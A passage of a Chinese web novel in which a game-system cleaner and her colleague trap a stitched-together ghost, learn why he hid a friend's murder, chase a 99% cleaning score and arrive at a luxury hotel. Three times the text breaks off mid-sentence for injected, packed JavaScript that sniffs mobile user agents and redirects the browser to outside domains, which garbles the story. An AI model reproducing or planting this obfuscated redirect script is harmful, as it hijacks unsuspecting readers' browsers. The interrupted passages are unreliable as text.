已经稳定在百分之七十六的清洁任务进度条还在一丁点一丁点地往前推。 谢云帆忽然“诶”了声,“还是有的……” 黎初来精神了,“嗯?” “喏,就这个。”他果断跟同伴共享情报,点点放大那几条好不容易鼓捣出来的记录,“看着像交易记录——也不一定是交易,可能是转账吧。” “往前的记录里都是有来有回的,对方先转一笔钱过来,过一阵子再原数转回去。但从某个时间点开始,对方没有再转,之前转过来的也没有还。” 不像交易,不像洗钱。 黎初随口说出了她认为最有可能的猜测,“朋友借钱?” “我也觉得是,”谢云帆赞同点头,“因为来源是同一个个人账户,名字是……” 他愣了下。 “范·沃克?” 黎初撑在旁边的手指轻轻敲打着桌面,想到没有具体时间的活动记录就一个脑袋两个大。 这下不好查了。 “我去外面看看。”她突然说。 谢云帆:“啊?” “找回来的时候,有的房间有文件柜,对吧?”黎初道,“当时来不及打开看里面都有什么,现在想想,里面可能真能找到线索。” 要从那些文件里找一个不知道姓名、只知道长相的员工的档案,无异于大海捞针,不过这现在是最靠谱的做法了。 谢云帆只犹豫了不到四五秒。 “那、那我也去!” 黎初古怪地看了他一眼,“你不是说有不得不赚钱的理由吗?” 这句话的隐含义应该是要活着才能赚钱吧。 所以她一开始光考虑了自己出去。 “是这么回事……我是有不得不赚钱的理由,所以——所以也有必须要活着出去的理由。”他咕哝道,“但是在原地干等着完全是摆烂吧,再说了这儿也未必安全。” “反正求饶也好下跪也好,我我我……我肯定再怎么都要活着回来的。” 他瞧着实在不太自信,但都说到了这份上,黎初也没有义务拦他,她勾勾手指,示意对方过来商量一下待会儿怎么行动。 倒也简单。 三分钟后,两人就一左一右地扒在门口观察外面的动静。走廊仍然静悄悄一片,这并不能缓解任何不安,因为现在他们都知道那玩意儿就喜欢埋伏起来冷不丁动手了。 “等下你往左,我往右。”黎初说,“不管被追的是谁,双方都不能回头。一个负责引开,另一个去找员工档案,有问题吗?” 接下来就是赌运气和赌命的时候了。 谢云帆:“这方面没有。” “我就一个问题,”他默默道,“你为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16525081|186078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么还拿着拖把?” 黎初:“咳。” 她说起谎来眼也不眨,“这里还有别的东西能当武器吗?” 事实是,她握在手里的表面还是安净提供的普通拖把,实际上已经替换成系统的硬广PRO MAX版了。 “通缉犯用了都说好”听着实在诱人。 谢云帆却真的听信了她的说法,他恍然大悟,他深以为然,同样拿起一杆拖把比划起来,在发现人和人就是不一样以及他抡起来只会绊倒自己以后,又一声不吭地放回去了。 “那什么,”他试图假装无事发生,“现在出发?” 黎初打了个响指。 心里默数到三,玻璃门被猛地推开,两人同时朝相反的方向奔去。 ——假的。 黎初站在门口,看着她那位“前辈”头也不回地冲出了得有十米远,转头开始拖地。 替换成系统道具的拖把仍和之前看着一模一样,尽管这是她要求的,但对其能起到多大作用也不得不打个问号。 然而此时此刻,它用实际表现证明了自己的价值。 拖把头部的海绵在刚刚挨到已经干结了好几天的污渍时就瞬间吸收了大半,再一拖,连剩下的那点痕迹也消失不见——别说清洁剂了,她甚至没有沾水。 黎初:“!!!” 清洁进度条一下子涨了一截。 她继续步步往后退,面前被“死者遗骸”爬过的地板也一段段变得光洁如新——直到她的鞋跟一下子碰到了什么硬物。 不对。 黎初动作一停。 余光瞥见那真被砸烂的扫地机的同时,她的耳朵也敏锐地捕捉到了拐角后猛然响起的拍打声。 来了! 她成了那个被蹲守的目标,黎初对此没有任何意外之感——本就是二分之一的概率。该实验的实验过了,她也毫不犹豫地一个转身,朝着右边狂奔而去! 身后又响起了熟悉的粗重喘气声。 “嗬……嗬……” 黎初自认先前被追得已经对地形有了点印象,现在却越跑越觉得不对劲,越跑越觉得陌生。昏沉沉的漆黑中根本分辨不清方向,眼前的景象比鬼打墙还鬼打墙——就像是它们还在不断变化一样。而那稀客被他们耍了一通后也失去了猫捉耗子的耐心,一对对手脚从天花板到地板噼里啪啦乱响,只差猛虎扑食地扑过来拧断她的脖子。 黎初咬咬牙,一个急刹拐进了下个转角。 她瞳孔骤然一缩! ——正前方是堵墙! 她被追进了一条死路! 鞋底与地板发出刺耳的摩擦声,黎初好悬稳住平衡,她猛地拧身,堪堪避开了那只扎向自己的注射器,但取而代之的是另一道袭向面门的苍白残影—— 是不可能躲开的距离。 空气静了两秒。 没有肉|体受挫的重击,也没有血肉飞溅的惨剧。 黎初半眯着眼,看向自己凭本能接住的这股力道。 在此时无声胜有声的沉默中,那只被她牢牢攥住的拳头往回抽了一下。 没挣动。 稀客:“……” 黎初:“……” 就这。 稀客:“………………” 黎初:“………………” 她逃个鬼啊!!! 黎初深吸了一口气。 她看向在这追逐中越发一片狼藉的地面与天花板,再看向辛辛苦苦一通打扫后猛跌到了百分之五十二的清洁值进度条。 “我觉得……”她心平气和地说,“我们要不谈点别的吧?” …… 谢云帆战战兢兢地从门缝中探出头。 他腋下夹着个文件袋,背对身后那个被不同场景的一角排列组合的房间,观望着走廊上的情况。 虽然还不能完全确定是否有用,但这的确是他能找到最有价值的东西了。 既然被追的不是他,那稀客去的就是另一边了,谢云帆咽咽唾沫,为新人捏了把汗。 希望…… 希望她没事。 一阵风猛地从他脸上刮过。 被吹起的刘海落下之时,谢云帆还在愣神。 等等,刚才好像有什么东西过去了? 白色的,带黑线的,缝合了好多手脚的…… “站住——”后面那个一边追一边喊,“我没让你跑——” 谢云帆:“……” 啊??? 11.反向追逐战 谢云帆完全是本能地、下意识地揉了一下眼睛。 眼前一片血色。 ……显示屏被盖住了啊啊啊! 他开始浑身翻找能重新擦干净眼部显示条的干布,并后悔起自己为了省钱没有加装自清洁功能。还在手忙脚乱之际,又一阵旋风从跟前刮了过去。 ——到底发生了什么啊?! 他越着急越看不清,只能从屏幕没有被污染的边角瞧出来应该是个人影,还是他有点熟悉的人影,赶紧出声:“怎么回事——” “跟你说不明白!”黎初头也不回道,“快来一起帮着追啊!” 谢云帆:“???” 他要有那能耐还跑来当清洁工? 他在抓了瞎的情况下进也不是退也不是,根本是在这乱成一锅粥的背景音里靠着印象往回摸。幸好还算脑子转得快,他磕磕绊绊地弯着腰摸索到似乎是塑料桶的东西,根据形状判断出是他们带来的其中一桶清洁剂就果断掀开盖子,直接把脑袋浸了进去涮个干净。 “呼……咳咳!” 强烈的消毒气味灌进鼻腔,他咳嗽着抬起头,甩掉留在外罩上的水珠,这下看清楚了这辈子都忘不了的一幕—— 就在这可怜的一丁点时间里,他眼中的新人已经追着那只稀客又来了一圈。 男人倒过来的那张脸鼻孔大张,呼哧呼哧地喘着粗气,一对对毫无相似之处的胳膊腿跑得往四面八方乱飞。至于紧追不舍的那位,隔着面罩看不大清她的表情,但绝对不怎么友善。 下一秒,他用过的这桶清洁液也被黎初一把拎着握把抢走了。 拿来吧你! “喂,站住!” 她边追边叫道。 “给我把你弄脏的地方搞干净!” “识相点就赶快做!别逼我揍你!” 当然这话喊出来有点虚张声势,黎初自问未必能把对方毫无还手之力地按在地上暴打——但是管他呢!除了她以外没人知道! 证明就是他跑得更快了! 谢云帆:“……” 让死者本人打扫吗?那很自觉了。 他目瞪口呆地看着双方立场来了个彻彻底底的调换,要换在几分钟前,他连想一下都要感叹如果真发生得有多不可思议——现在也一样不可思议,但它就是实实在在地出现了! 黎初回头看了他一眼。 谢云帆陡然一凛。 此时无声胜有声,但再响起来的任何动静都有可能成为摔杯为号的信号。冷不丁的“咔哒”轻响拨动了他的神经,他条件反射地随之转身,望见了原本固定在墙壁凹槽里的梯子正在缓缓倒下。 那应该是提供给设施维护人员的工具格,扣住它的皮带似乎被一下子别开了。 他在电光石火之间领悟到了对方想做什么,额头上顿时冒出整片冷汗,可没有犹豫的时间了,只好心一横,连滚带爬地扑向那架梯子。 黎初还在闷头往前追。 情况不出意料地并不顺利。 就像他们先前被这玩意儿越撵越近,每当她发力想要赶上再多一两步,它就能在同时奋力往前窜得更远,让她死活够不着自己分毫。 始终差那么一点距离。 也是时间动手了,黎初一手攥紧握把,另一手托住了桶底,看准方向,用力地往前泼去—— 远比之前任何时候都要浓烈得多的刺鼻气味充满走廊,清洁液大半都倾泻在男人蜈蚣般的身体上,他被黑线缝合的嘴巴里瞬间发出了一声似人非人的尖叫。 有效! 如她所想的那样,安净特制调配的清洁剂既然对污血秽肉有奇效,而这一切又是为了杜绝稀客的出现,那或多或少就含有对其有害的成分。 她听到从蜈蚣男身体接触面上传来的被泼溅到滋滋冒烟的声响,其实能看出来,清洁剂的伤害有限,但生物趋利避害的本能仍驱使着他玩命地往前爬去。 他已经完全乱了方寸,额头的那个弹孔里向外溢着半凝固的脑浆,这样一团稀烂的脑组织显然不足以支撑更复杂的思考,他所做的只有跌跌撞撞地手脚并用着狂奔。 向前。 再向前。 视野被缝住眼皮的黑线分割成无数块,不断上下晃动的瞳仁看不清更远的地方。 ——所以,当他发现直逼面前的不锈钢框架时,已经晚了。 横倒在前方的梯子被撑到最开,被泼得仍在刺痛的手脚并不能支撑着他向上跃过,但也不是毫无办法。男人的整个上半身朝后仰去,手掌和脚底板与地面都要摩擦出火花,眼看就要硬生生停在梯子的毫厘之前。 黎初用力蹬向地板。 她的身体短暂腾空,斜着在墙面上狠狠踏去。凭借这借力的一蹬一踏,一下子缩短了彼此之间的距离。略显笨重的防护制服也遮掩不了那空中拧身的精彩弧度,飞出的一踢正中他后脑壳。 直接把蜈蚣男踹进了梯子的隔断里! 比卡在一段梯子里更绝望的,是你同时卡进了两段梯子。 谢云帆早就被这冲击力带得一屁股坐倒在地,看着这非人怪物横穿在梯子左右两格又死死卡在里头,硬是壮着胆子抓紧不锈钢管免得他拖走梯子也要逃逸。 蜈蚣男还在不死心地挣扎。 这两截不锈钢隔断正好卡在他的身体中段,前有大腿后有手,少了那一脚的凌厉,想靠自己的力气挤过去是不可能得。但即便这样,谢云帆压上全部体重都没困得住他,整个人都跟着被拖出了小半米,连扒住墙角也挽救不过来。 梯子的另一头被踩住了。 “别动,”黎初平复呼吸,“除非你想再被泼一下。” 攻守易形了! 她睁一只眼闭一只眼地看着蜈蚣人的挣扎转为偷偷扭动身体的小动作。 她问谢云帆,“找到了吗?” “啊、对……算是。”谢云帆没敢松手,更不敢挨到他尾部那些医疗废械,用另一只手抽出文件袋扔给她,“其实还是不知道他叫什么,但我靠照片找到了……应该是他的。” 他的目光落下去。 那些手脚还在胡乱扭动,而在它们的缝合处有着明显的溃烂痕迹。 “里面有他的人事档案,还有体检报告,上面说……他有严重的全身性自身免疫疾病。” “他的器官、皮肤……或者手脚,都可能需要定期移植,估计这就是他为诺维工作的原因。有小道消息说生命工坊的员工拥有优先移植权,但费用还是要自己出的。” “我到处找工作的时候听说过,他们的薪资水平要负担这个有点勉强,那几条记录应该确实是借款。” 黎初拆开袋子扫了一眼里面的文件。 而那些捐献者的活动记录显然不合法——甚至更像是早就被盯上了似的。 “所以,我想就是——” “为了治病进入了诺维,却发现一直借钱给自己的朋友被害了?”他越说越确信,“他甚至找到了证据,但在来得及揭露之前就被伪装成辞退和自杀……” “不对吧?”黎初说。 谢云帆:“……啊?” “借还款的记录是什么时候终止的?” 谢云帆张张嘴,答案几乎脱口而出。 是一个月前。 “那个表格里没有具体的时间——”黎初说,“但文件本身的迁移记录有,也是过了将近一个月了。” “辞退不一样。” “他被‘辞退’是在三天前,上面写了是统一的人事变动。也就是说,诺维其实没有发现表格外泄,他单纯只是被裁批次的一员。” 谢云帆脑袋嗡的一声响。 在他有所反应之前,黎初已经看向还在微微挣动的稀客,在男人面前晃了一下那个文件袋。 “表格是你自己删的。”她道。 那“蜈蚣”不动了。 谢云帆忘记了眨眼。 一切可以连起来了,对公司的依赖、朋友的蒸发、被查出来却被主动毁灭的证据—— “懦夫!”他低声道,油然而生的愤慨几乎要冲破胸口,“别人的命对你来说什么都不是吗?!” “嗬……嗬……” 男人喉咙里还是浑浊依旧的喘息声。 他软软耷拉着的脑袋缓慢偏移,朝他们翻出那张扁平的、苍白的脸。他的嘴唇奋力向上和向下张开,全然不顾那勒得越来越紧的黑线,直到皮肉都被棉线扯裂—— “呼……咕……唔……” 他们都听到了。 他说: “我想活……有错吗?” “我一直告诉自己……他们是自愿……范死了,我知道他不可能去捐……”他颠三倒四地喃喃,“我不该去查,我得先活下去……” 光屏的荧光残留在视网膜上,他抱住家里马桶用力呕出来的时候,还在想着那个后悔打开的表格。 呕吐物打着旋跟水流一起消失了,他一动不动地盯着它们消失的地方,记忆到这里中断了。 接上它的画面是一块镜子。 镜子里的男人双颊瘦削,有着浓重的黑眼圈,脸上没有什么表情,动作熟练地给自己打上领带。 该去上班了。 “——我想活有错吗?!”他伸出手指去抓谢云帆的裤脚,“我能改变什么?我一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16528446|186078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人什么都改变不了!他们不会报道这些的,反正也捅不出去,我假装什么都不知道,我能活!我想活下去,我都做了那么多了,还要在乎这点——” “如果换成你呢?” 他抬起脸,眼皮崩裂开来,黑白分明的眼球死死地盯着面前的年轻人。 “如果换成你的家人呢?” 谢云帆愣住了。 “你会不会为他们牺牲别人?你要选不自量力吗?鱼死网破有任何好处吗?” 血液涌上的感觉让他渐渐头重脚轻,血管搏动的声音完全占据了鼓膜,头晕目眩之下,思绪也不由得飘忽起来。 是啊,他能正义凛然、能高高在上地指责的唯一原因……就是事不关己。 如果换成他…… 如果换成—— “砰!” 后脑勺猛然传来的拍击让谢云帆痛呼出声,神智也一下子跟着清醒过来。他揉着还在隐隐作痛的脑袋,眼巴巴地看向干脆利落给了他一巴掌的黎初。 一只手按住了男人的额头。 “你已经死了。”黎初平静地说。 她蹲下来,迫使他半睁不睁的眼睛只能看向自己。 “你为了死去的朋友去查真相,又为了保住自己删掉证据。”她道,“但不管你再怎么维护现状,你还是和其他人一样被裁了。你不可能把事情捅出去,离开更是死路一条,所以你选择自杀,死都要死在这里。” 她重复了一遍,“你已经死了。” “你不需要我们的认可,更用不着我们来原谅,你要讨的另有其人。” 黎初说:“好好想想,让你继续留下来的到底是什么。” 男人半张着嘴,定定地“望”着她。 半晌。 他抬起了手。 不是用那些被接上去的手,而是他自己上半身的右手,带着些微颤抖,缓慢指向了那个半开放式的办公室。 他的动作停在那里,然后从最末的食指指节,他开始“落下”。 尽管从表面瞧上去,男人更像是消融在空气里。 肉色粉末取代了他存在过的空间,接着簌簌地落成一小把。他乍看庞大的身躯最后也没有真正留下多少痕迹,只是在地面上摊成薄薄一层,风一吹就消散了。 ——等等,风? 谢云帆抬头,看到原本盘踞在拐角处的黑暗已经消失得一干二净。走廊依然昏暗,可能见度高了不止一点,成了那种透进些光但不多的正常昏暗,一切似乎回到了他们刚来生命工坊时的样子——不,真的变了回去。 他的第一反应就是掏出那个用来联络的圆形小终端,发现它当真有了信号,立刻想要联系援助。 然后就被黎初拦住了。 “先打扫干净。”她言简意赅道。 谢云帆:“……” ……虽然不知道为什么她这么执着于清洁,但按她说的来应该没毛病! 他们在被追杀的情况下尚且可以完成大部分工作,此刻少了稀客的干扰,这就更没了难度。只是在方才的一系列经历后,两人谁也没有闲谈的心思,不约而同地安静完成各自的份额——离开办公室之前,黎初将那台平板收进了自己的背包。 要处理的其实更多是走廊的地板和天花板,它们在男人消失前被染得一塌糊涂,但在特制清洁剂的加持下,这压根不是个事儿。 “好了,”谢云帆双手叉腰,看着光洁一新的整层楼长出一口气,“这下就搞定了。” 黎初没有搭腔。 他疑惑地看向还沉默着的女生,发现对方一动不动地盯着虚空中的一点。 黎初正在三省己身。 ——这合理吗?这应该吗?这合适吗? 眼前分明已经干干净净,稀客化成的粉末扫进空出来的小盒里,那些废弃材料也早就用聚合袋打包扔到楼下的车辆后备箱了,她浑身不舒服地环顾一圈,还是没看见自己到底漏了哪个边边角角。 但一定有。 因为她视野里的那个清洁进度条分明极为逼近尽头,却就是差了一丝丝。 它显示着百分之九十九。 黎初:“…………………………” 她摁着血压,不信邪地又确认了一次。 百分之,九十九。 来了,它真的来了,每个成就党玩家的噩梦就这么跳着踢踏舞来了! 谢云帆第一次——或许是唯一一次——看到了对方心态崩了的样子。 不是遇到意料之外的稀客,也不是被追得到处跑。 而是现在。 她双手抱头。 “啊——” 12.玩家论坛 “你是故意的。” 【我不是!】 “你有那种冗余设置,就是实际存在的污渍比需要清理的多,哪怕有一点找不到的也可以直接计为完成任务。” 【我没有!】 “这个可以有。” 【这个真没有!】 “哦,”黎初幽幽道,“也就是说前面是有故意的喽?” 【……】 臣妾百口莫辩啊! 谢云帆听不到她和系统掰扯的斗嘴,他眼里的新人在抱着脑袋崩溃过后就风风火火冲回办公室,左手海绵右手拖把,从这头的墙角看到那头饮水机,库库一顿找,连任何一个角落也不放过。 他话不敢说,动不敢动。 他连找什么都不敢问。 黎初搬开窗边的盆栽,没有。 扔走盖在桌上的纸质文件,没有。 抬起办公桌看底座与地面之间的缝隙,没有。 如果说把一个地方从脏污不堪打扫到一尘不染是解压,那留下死活完不成的百分之一就是妥妥的增压。 有劳力不用是傻子,黎初转头向还满头问号的谢云帆招手,“来一起找。” “啊?”谢云帆莫名其妙,“找啥?” 黎初:“还有一点没有打扫干净。” 谢云帆:“………………” 不至于吧! 新人同僚太上心了吧,怎么说服她意思到了就行了! 不对—— 谢云帆反应过来,他看着分明已经清理到了极致的死亡现场,想不通她的结论从何而来,“你从哪儿看出来没打扫干净的?” “……你别管,反正我就是知道。”黎初就一个字,“找。” 谢云帆磨磨蹭蹭地凑过去了。 简单来说,是看她连灯泡都要拧下来瞅瞅的样子,他怕她把他的脑袋也拧下来。 两个人的效率——也高不了一点,因为他们真是仔仔细细地把所有犄角旮旯里的血迹全擦干净了,连用掉的抹布都攒了一小袋,目光所及之处哪还有半点荧光闪烁。 到底会是在哪里呢? 黎初停下了动作。 他们已经将整间半开放式办公室翻过一遍,固然可以重新从头到尾犁一次,但那样太费时间也太耗精力,更何况还有走廊那么大的区域,不如……反方向思考一下。 她有个大胆的想法。 “你是在哪儿找到档案袋的?”她问。 谢云帆:“嗯?就在——” 他正想指明,忽然意识到在稀客消失后,这一层的布局也恢复原来的样子了,而那反而恰恰是他们所陌生的。 “不要管文件柜在的位置,”黎初说,“凭感觉,就往你去过的那个地方找。” 谢云帆还是很茫然。 ……但别说,真能做到。 前不久被他用血手套擦脏过的显示屏反而成了不幸中的万幸,排除了成为干扰项的视觉,他怎么两眼一抹黑地摸回来,现在就能怎么闭着眼睛摸回去。 黎初在旁边看着,偶尔伸手扶一把免得他真撞墙。磕磕绊绊地折腾了好一会儿,谢云帆终于站在某扇房门前松了口气,满满都是总算完成使命的松弛。 “应该就是这儿了——” 他伸手去拧下门把手。 “咦?” 这个房间跟他当时来的完全两模两样。 他费尽千辛万苦找过来的时候,里面看着和其他东拼西凑的“嵌合屋”并无不同——此刻已经正常多了,两座长条沙发面对面地放在墙壁两侧,茶几上摆着廉价的读物,旁边还有已经空掉的饮水机,似乎是生命工坊的员工休息间。 “是这里吧?是吧。”大相径庭的景象让谢云帆有点不敢确认,他走到角落,“我是在这个抽屉里找到的。” 但它怎么看怎么就是个一般路过杂物柜啊。 黎初擦干净了防护手套才伸进去摸,免得本就脆弱的进度条反向冲刺。她的手指在里头探来探去,失望地触碰到的全是空气,然而当她改了主意反过来往上摸的时候,纸张刮过复合木板的声音倏地让她停了下来。 她慢下动作,一点点揭下那张被黏在上面抽屉底层的相纸。 谢云帆早就好奇地弯腰凑近了,但看清后,他愣了愣,一时五味陈杂得不知说啥好。 相纸挺薄,也没有沾到血迹,上面有点模糊的影像证明它离拍摄时间已经过去很久了。照片上的两个男孩勾肩搭背地对着镜头大笑,更瘦弱的那个能看出一点那张平滑苍白的脸的影子,瞧着像是学生时代的遗留物。 【当前职业:凶案现场清洁工。】 【任务“完美地完成你的第一次清扫”已完成。】 【恭喜你解锁成就:“无敌之人”。】 【说明:连这么严苛的条件都做得到,已经没有什么能阻止你了!你对完美主义的追求证明你是货真价实的无敌之人,你的所过之处寸草不生,你的入眼之处一片狼藉。这就是你,一个为了成就无所不用其极的白金玩家的恐怖之处!】 【成就奖励:E级天赋能力——“职业本能”。】 【你能看到普通人无法察觉的物理痕迹。一丝灰尘的扰动,可以让你判断出几分钟前有几个人从这里经过;墙上一个微小的弹孔,可以让你分析出子弹的口径和射击角度。相信我,别管躲不躲得过,你就是最出色的事后诸葛亮。】 【成就奖励:“标准清洁套装”×1。】 【一份合格的清洁套装应该包括投掷式“溶剂手|雷”、喷射式“吸收泡沫”以及一支高压紫外线灯,使用方法请详见说明书——或者充分发挥你的想象力!对一切阻碍你的东西使用炎拳吧!】 这个还挺有用,但另一个…… 【成就奖励:“不知名狗哨”×1。】 【虽然看起来就是一个普普通通的、路边捡来的破烂哨子,但请放心,它实际上也是。连它的簧片也不知在何处遭到损坏,不过……也许呢?也许你就能碰到一个能听出你信号的目标对象?】 “先不说我要它有什么用,”黎初问,“你告诉我,簧片都坏了,怎么吹?” 【……用真心?】 黎初:“?” 算了,就当白送的了。 “我还是没想明白。”谢云帆嘟囔道,“你为啥知道东西在那儿?” 他甚至放弃问她怎么知道还差一点没有打扫干净了。 他们已经回到了那辆无人专车上,沾满脏污的防护服被脱下来也丢进后备箱,据谢云帆说它们会送去彻底清洗消毒后再回收使用。 去掉了防护面罩,虽然废丘的空气质量就那样,但终归是清爽得多。 “那个空间显然受到他意识影响,所以才扭曲了。”黎初说,“你拿到档案袋的地方不一定真是档案室,如果不是,现实空间里就有可能对应有什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16538242|186078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他重要的东西在那里。” “不过我也是猜的,还好验证了一下。” 一个游戏爱好者见多了的联想罢了。 无人车缓缓启动,空气中突然传来电流连通的滋滋声,黎初瞥过去一眼,预感似的住了口。 “嘀”的一声,杜经理的脸出现在前排座位靠背的屏幕上。 “两位辛苦了。” 她的语气远比第一次见面时温和。 “你们防护服的生命监测信号中断了一段时间,会社这边推测可能出现了什么意外,所以想向你们进行进一步的询问。” 二人一时都没有回答她。 轿车里弥漫着古怪的沉默。 “所以……” 谢云帆深吸一口气。 “你们只是看着,什么都没做?” 杜经理的静静凝视说明了一切。 “我们差点连命都没了!”他难掩愤怒,“你们还想怎么样?!” “我完全理解你的心情,但是冷静点,云帆。”杜若说,“没有谁希望出现这样的情况,安净有自己的不得已。” “当然,会社这边也会给予足够丰厚的赔偿与奖励。关于这些的具体,我明天会和你们面谈。” “除此之外,专车的目的地已经设定为天顶酒店,会社以你们的名字开好了两个套房。二位可以在那里度过三天带薪假期,薪水按照正式员工一日赚取的顶格来算,在酒店的一切消费也都由安净报销。” 天顶酒店。 这名字一听就是个高级的酒店,虽然这完全不足以安抚谢云帆的怒气,但对着一块屏幕发火也无济于事,对方明摆着是在通知他们。 见他们都没有继续谈话的打算,杜若点了下头,示意作结。 “明天见。” 一回到安全的环境,就算怒火未消,前面积累的那些疲累也会加倍地涌上来。 黎初倒是还好,她的注意力全集中在系统上了。 【得到物品“过去的相片”,已触发后续支线,是否接取任务“寻找范的眼球”?】 接取。 【内测在即,先行预告PV已更新,是否查看?】 黎初:“?!” 看看看,当然要看。 她一下子又梦回了日夜等待《废丘》爆料的时候,现在不仅不用等舅舅党,她自己就站在消息的最前沿,但这不代表她就对精心设计的PV——也就是所谓的预告片——毫无兴趣了。 出现在眼前的是之前解锁的玩家论坛。 论坛页面出乎意料地有个性,它以黑和红为主色调,边角处装饰着金属风格的补丁,居然有点时尚感。 下方不断蹦出新的帖子,应该是抽取到内测资格的玩家在兴奋地彼此交流。 黎初不急着看它们。 系统所说的那个PV被置顶在最上方。 她偏过头,看到谢云帆已经因为身心的双重疲惫睁不开眼了,头一点一点地打着瞌睡。 黎初不经意似的抬手,指尖划过了那个置顶的链接。 那道除她以外无人看得见的光屏一闪,等待它跳转加载的时候,黎初伸手拿过前排座位中间饮料架里的其中一瓶饮用水,准备抚慰一下干渴的喉咙。 她含了一口水,看到眼前的光屏显示出万众瞩目的先行PV。 视频封面赫然是她自己的侧脸特写。 黎初:“噗——” 13.天降紫微星 谢云帆的脑袋一下子撞到了车顶。 “嘶!” “怎怎怎——发生什么事了?”他刚被惊醒,一边呲牙咧嘴一边东张西望,“发生什么事了?!” 黎初已经淡定地擦干嘴角,顺带擦掉了前方靠背上的水,没事人似的坐在原处看窗外的风景——装也要装成无事发生。 就突出一个优雅。 谢云帆:“……?” 他听错了? “我喝水不小心呛了一下。”黎初说,“你反应太大了吧。” 谢云帆:“是、是吗?” 他眼睛眨巴再眨巴,终于确信是自己在半梦半醒间太激动了,将其归结为之前所留下的心理阴影,紧绷的身体瞬间像泄气皮球似的放松了。 “这也不能怪我吧。”他有气无力道,“谁经历那些以后还能——” 他的声音在看到还不动如山地靠在座椅上的黎初时戛然而止,她胳膊肘搭在车窗边沿,从脸上到浑身上下都写着“松弛”二字,哪有半点神经紧张的样子。 好吧,还真有人能。 谢云帆默默选择闭嘴,却听对方先开了口:“正好你醒了,省得我还需要叫——咱们好像快到了。” “对了,我还没问,”黎初说,“天顶酒店怎么样?” 谢云帆:“你没去过?” 黎初摇头。 “好吧,我还以为你们这种人肯定是那里的常客——或者在你们看来还是有点低端?”他已经完全不掩饰自己的羡慕嫉妒恨了,“虽然比不上翡翠街那种纸醉金迷的娱乐一条街,但在下城区已经是消费TOP之一了,贫民窟住民经过这儿只有踮着脚流哈喇子的份儿。” 他自己显然也曾经是流口水的一员,因为当无人专车穿过天顶酒店专属的车道廊桥时,黎初清晰地听到他倒吸了一口凉气。 深棕色的半透明玻璃遮蔽了视野,廊桥尽头的建筑物不像其他楼体一样挂满闪烁的广告屏幕和杂乱的外部管道,而是如同一块被细细打磨过的黑曜石,静默地矗立着。 专车在酒店大门口缓缓停下,细脚伶仃的机器人车童过来为他们打开车门。 旋转门内透出一种温暖的、类似黄金的光泽,但当黎初他们真正走进去,才意识到这只是废丘外部环境所造成的错觉。 里面是更宝贵的东西。 自然光。 大堂铺着厚实的地毯,挑高的穹顶至少有二十米。外界的喧嚣和气味被隔绝,一种混合着淡淡植物清香和臭氧味道的、冰凉而纯净的空气取而代之,抬起头,可以看到一片蔚蓝。 为了防止客人们陷入现实与虚幻的混淆,穹顶的角落特别标注了这是全息天幕的模拟景象。 偶尔有几朵逼真的云朵飘过,光照强度也在微妙地变化,呈现出雨水冲刷后那种最澄澈的蓝色。 这片“假天空”甚至比黎初记忆中的真实天空还要完美。 “请问是黎女士和谢先生吗?” 负责在前台接待的圆筒机器人向他们确认,它的“面部”是块屏幕,上面显示着线条组成的笑脸。 “我们已经接受了你们的预订,请在领取房卡后乘坐左手边的电梯前往客房。” “套房服务内含的下午茶即将在稍晚时由专机送达,晚饭也会在傍晚七点准时提供。如果想享受水疗浴、氧气茧、义体保养等服务,请在客房主机预订后自行前往对应楼层。” 它对他们露出一个大大的笑容,从“:)”变成了“:D”。 谢云帆手不是手脚不是脚,他看上去对来到这种地方有点浑身不自在,拿走房卡以后就低头快步走向电梯口。 黎初比他好点,她踱步跟在后头,端详了下手里那张薄薄的房卡,怀疑这其实是专门提供给他们这样的自然人的。果然,在进入电梯轿厢后,房卡扫描窗口的旁边还有另一个电子扫描口。 他们俩的房间是门挨着门的隔壁,告别了被贫富差距冲击得心不在焉的谢云帆,黎初赶紧进了自己的那间套房,寻找到了独处空间。 她反手关上门,先扫了一圈房内布置,发现这是个包括两室一厅一浴一卫的套房。装潢依然是那种宽敞又干净的奢侈感,但经历了大堂的洗礼,倒也没那么不好适应,更别提让黎初心情复杂的另有其事。 她在沙发坐下的第一件事,就是重新叫出了那道光屏。 ……憋了一路了!总算有功夫好好确认了! 有了这短短时间做的心理准备,黎初现在平静不少,现在还什么都没发生,她总不能自乱阵脚。 这一次,她瞧得更仔细,发现论坛页面右上角标注着“当前玩家人数:1000”。看来和之前宣传的一样,能抽到内测资格的共有一千人。 毕竟是全球首款全息游戏,如果她没有记错,报名想要参加内测的得有上亿,可以说被抽中的全是幸运儿中的幸运儿。 底下的帖子仍在不断刷新,但黎初还是先忽略了这些,再次点开置顶链接。 